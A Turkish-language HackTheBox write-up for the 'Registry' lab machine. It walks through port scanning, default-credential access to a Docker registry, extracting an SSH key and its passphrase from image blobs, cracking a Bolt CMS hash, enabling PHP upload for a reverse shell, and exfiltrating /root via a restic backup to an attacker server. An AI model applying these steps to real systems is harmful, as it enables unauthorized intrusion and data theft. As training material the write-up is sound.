Registry HackTheBoxta 40 puanlık “Zor” kategorisinde bir makine. Makine üzerinde kolay, tahmin edilebilir bir şifre kullanılmış private docker registry sunucusu mevcut. Bu sunucudaki docker imajında ana host üzerinde bir kullanıcıya ait ssh anahtarı bulunuyor, saldırgan bu anahtarın şifresini de biraz araştırmayla bulduktan sonra ana makineye ilk erişimi sağlayabiliyor. Sunucuda Bolt adında bir CMS var ve bu uygulamanın admin kullanıcısının hashi kolay bir şekilde kırılabiliyor. www-data kullanıcısının root yetkisiyle restic adlı programı kullanarak sunucunun yedeklemesini yapma yetkisi mevcut. Sunucunun yedeklemesi yapıldıktan sonra ana sunucuda root yetkisine erişilebiliyor.
İlk inceleme
Port taraması
Her zaman olduğu gibi nmap ile başlıyoruz
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
λ ~/Desktop/htb/machines/registry nmap -sVCS -T5 -oA nmap/initial 10.10.10.159
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-29 13:40 EDT
Nmap scan report for registry.htb (10.10.10.159)
Host is up (0.092s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA)
| 256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA)
|_ 256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
443/tcp open ssl/http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
| ssl-cert: Subject: commonName=docker.registry.htb
| Not valid before: 2019-05-06T21:14:35
|_Not valid after: 2029-05-03T21:14:35
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.66 seconds
Ssl sertifikası bize docker.registry.htb hostunu veriyor Bu hostu /etc/hosts dosyasına aşağıdaki gibi ekledim
1
10.10.10.159 registry.htb docker.registry.htb
İçerik keşfi
1
2
λ ~/Desktop/htb/machines/registry gobuster dir -u https://registry.htb/ -w /opt/SecLists/Discovery/Web-Content/common.txt -x php,html -t 50 -k
λ ~/Desktop/htb/machines/registry gobuster dir -u https://docker.registry.htb -w /opt/SecLists/Discovery/Web-Content/common.txt -x php,html -t 50 -k
Uzantıları kaba kuvvetle arayarak aşağıdaki linkleri buldum.
1
2
3
4
https://registry.htb/install/
https://registry.htb/index.html
https://registry.htb/backup.php
https://docker.registry.htb/v2
Install bitiş noktası
Buraya ilk bakışta bir şeyler garip gelmişti, nasıl bir dosya olduğuna göz atmak için bu bitiş noktasının index dosyasını indirip nasıl bir dosya diye baktım.
Gzip dosyası içinde bir ca sertifikası ve bir readme dosyası içeriyordu
1
2
3
4
5
λ ~/Desktop/htb/machines/registry/install cat readme.md
# Private Docker Registry
- https://docs.docker.com/registry/deploying/
- https://docs.docker.com/engine/security/certificates/
Readme dosyası bana ne olup ne bittiğine anlamama yardımcı oldu. Bu aşamada sunucuda private docker registry sunucusu olduğunu anladım ve büyük ihtimal üzerinde çalışacağım, inceleyeceğim imajlar içerecekti
En yaygın kullanıcı adı şifre kombinasyonlarından biri olan admin:admin ile giriş yapabildim
Ve bu aşamadan sonra bu bitiş noktasından da docker imajlarına erişeceğim çok bariz gözüküyordu
Private Docker Registry
https://docker.registry.htb/v2 bitiş noktasını daha fazla incelemek istedim
gobuster dir -u https://docker.registry.htb/v2 -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt -t 50 -k
/_catalog (Status: 401)
Kimlik doğrulama için basic authorization headerı kullanılıyordu
1
2
λ ~/Desktop/htb/machines/registry curl -H "Authorization: Basic YWRtaW46YWRtaW4=" https://docker.registry.htb/v2/_catalog -k
{"repositories":["bolt-image"]}
Ve bu docker registry “bolt-image” adında bir imaja sahipti
Ca sertifikasının kurulumu
Docker imajını kendi localime indirebilmem için ca sertifikasını kurmam gerekiyordu
Readmedeki bu link gayet basit bir şekilde neler yapmam gerektiğini anlatıyordu, anlatılanları birebir uygulayarak sertifikayı kurdum https://docs.docker.com/engine/security/certificates/
Docker imajının indirilmesi
Kalide docker kurmak isteyenler aşağıdaki linki takip edebilirler https://docs.docker.com/install/linux/docker-ce/debian/
1
2
3
4
service docker start
docker login -u admin -p admin docker.registry.htb:443
docker pull docker.registry.htb:443/bolt-image:latest
docker run -it docker.registry.htb:443/bolt-image:latest bash
## Ssh anahtarı
/root/.ssh/id_rsa
anaharı şifreliydi ve bu anahtar bolt@registry.htb
için yapılmıştı
Fakat hiç bir kelime listesiyle bu anahtarı kıramadım. Ssh anahtarının şifresinin bir yerlerde olacağını tahmin ederek daha fazla incelemeye devam ettim.
Bloblar
Docker registrynin yapısını aşağıdaki link gayet güzel bir şekilde anlatıyor. https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/
Bloblar aşağıdaki formattaki gibi indirilebiliyor https://docker.registry.htb/v2/bolt-image/blobs/sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b
Bütün blobları indirmek için küçük bir script yazdım
1
2
3
4
5
6
input="blobs"
while IFS= read -r blob
do
echo $blob
wget --header 'Authorization: Basic YWRtaW46YWRtaW4=' $blob --no-check-certificate
done < "$input"
Bloblardan bir tanesi ssh anahtarının şifresini içeriyordu
Şifre : GkOcz221Ftb3ugog
Daha kolay çalışmak için ssh anahtarını açtım
openssl rsa -in id_rsa -out id_rsa.decoded
Bolt kullanıcısıyla ssh
Daha ileri inceleme
Bu aşamada sunucu hakkında daha iyi bilgi sahibi olmak için linpeas scriptini çalıştırdım
Web sunucusunda ilk aşamalarda göremediğim bir dizin daha vardı
Linpeas otomatik olarak sqlite dosyalarındaki tablolardan verileri dışarı çıkartıp bana gösteriyordu ve burda admin kullanıcısının hashini gördüm
Rockyou kelime listesi ile basit bir şekilde kırıldı
www-data kullanıcısına düşme
admin:strawberry
/var/www/html/
dizininin altına yazma iznimiz yoktu
Bolt CMSye giriş yaptıktan sonra, sunucuya kolayca dosya yüklenebiliyordu fakat bir takım kısıtlamalar mevcuttu
Şanslıyım ki ben admin kullanıcısıydım ve uygulama üzerinde tam yetkim mevcuttu, konfigürasyon dosyalarını değiştirebiliyordum
Config.yml dosyasını birazcık değiştirdim ve php dosyalarını yüklemeyi kabul etmesine izin verdim
https://registry.htb/bolt/bolt/file/edit/config/config.yml
www-data kullanıcısıyla basit bir tersine bağlantı aldım
Roota yolculuk
Genelde bir kullanıcıya erişim sağladığımda sudo girdilerini incelemek ilk yaptığım şeyler arasındadır. www-data kullanıcısı root yetkisiyle çalıştırabileceği bir girdiye sahipti
1
2
3
4
5
6
7
8
www-data@bolt:~$ sudo -l
sudo -l
Matching Defaults entries for www-data on bolt:
env_reset, exempt_group=sudo, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bolt:
(root) NOPASSWD: /usr/bin/restic backup -r rest*
Restic sunucusunu kurma
Biraz araştırma yaptıktan sonra restic in bir yedekleme programı olduğunu ve başka sunuculara da bu yedeklenmenin yönlendirilebileceğini gördüm
www-data kullanıcısı herhangi bir dosyayı herhangi bir restic sunucusu üzerinde saklayabiliyordu, harika !
Kalimde bir restic sunucusu hazırladım
Bunun için aşağıdaki linki takip edebilirsiniz https://github.com/restic/rest-server
1
2
3
4
apt install restic
restic init -r ~Desktop/htb/machines/registry/backup/
rest-server --no-auth --path ~Desktop/htb/machines/registry/backup/
Yedekleme işlemi
Bu işlem için 8000 portunu sunucuya ilerletmem gerekiyordu
ssh -i .ssh/id_rsa.decoded bolt@registry.htb -R 8000:127.0.0.1:8000
Bu aşamada interaktif bir kabuğunuz olduğundan emin olun çünkü restic sizden karşıdaki kaynağın şifresini soracak
sudo /usr/bin/restic backup -r rest:http://127.0.0.1:8000/ /root
Geriye çevirmek
Dönüm noktasını geriye çevirdim.
1
restic restore aea5ab4b940c530b9f0679d1da33fc7497958936308d8f9b0c50ebad735ed1b5 --target ~/Desktop/htb/machines/registry/root_backup -r ~/Desktop/htb/machines/registry/backup
Bitiş
Dönüm noktasını geriye çevirdikten sonra, root kullanıcısının ssh anahtarı olduğunu gördüm ve kullandım
\o/
Vee root olarak makineyi bitirdim
Bu makine için thek’ e teşekkürler…
Okuduğunuz için teşekkürler, her hangi bir sorunuz olursa herhangi bir yerden ulaşmaktan çekinmeyin